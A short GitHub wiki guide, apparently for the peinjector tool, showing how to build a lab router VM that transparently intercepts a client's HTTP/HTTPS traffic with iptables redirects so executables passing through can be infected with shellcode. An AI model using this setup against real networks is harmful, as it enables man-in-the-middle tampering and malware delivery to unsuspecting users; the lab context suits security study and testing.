Skip to content

Guide: transparent proxy

JonDoNym edited this page Dec 13, 2015 · 5 revisions

SETUP:

  • VM router:

    • eth0: NAT, DHCP (internet)
    • eth1: fix IP (gateway for pc1)
  • VM pc1:

    • eth0

STEP 1 (vm router):

install peinjector on vm "router": https://github.com/JonDoNym/peinjector/wiki/Guide:-full-installation

STEP 2 (vm router):

test the basic installation (config the proxy your browser; set shellcode; infect a pe-file)

STEP 3 (vm router): reconfiguration

config the transparent mode: /etc/peinjector-interceptor/config.ini

mode = transparent

STEP 4 (vm router): restart peinjector-interceptor

service peinjector-interceptor stop
service peinjector-interceptor start

STEP 5 (vm router): activate forwarding

sysctl -w net.ipv4.ip_forward=1     # this is NOT persistent !

STEP 6 (vm router): redirect http and https traffic to the proxy

iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 80 -j REDIRECT --to-port 8080   # use the "gateway for pc1" interface
iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 443 -j REDIRECT --to-port 8080  # use the "gateway for pc1" interface

STEP 7 (vm router): nat for the other connections (no http, no https)

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE    # use the "internet" interface

STEP 8 (vm pc1): config the gateway

pc1 use eth1 from router as gateway!

now it works!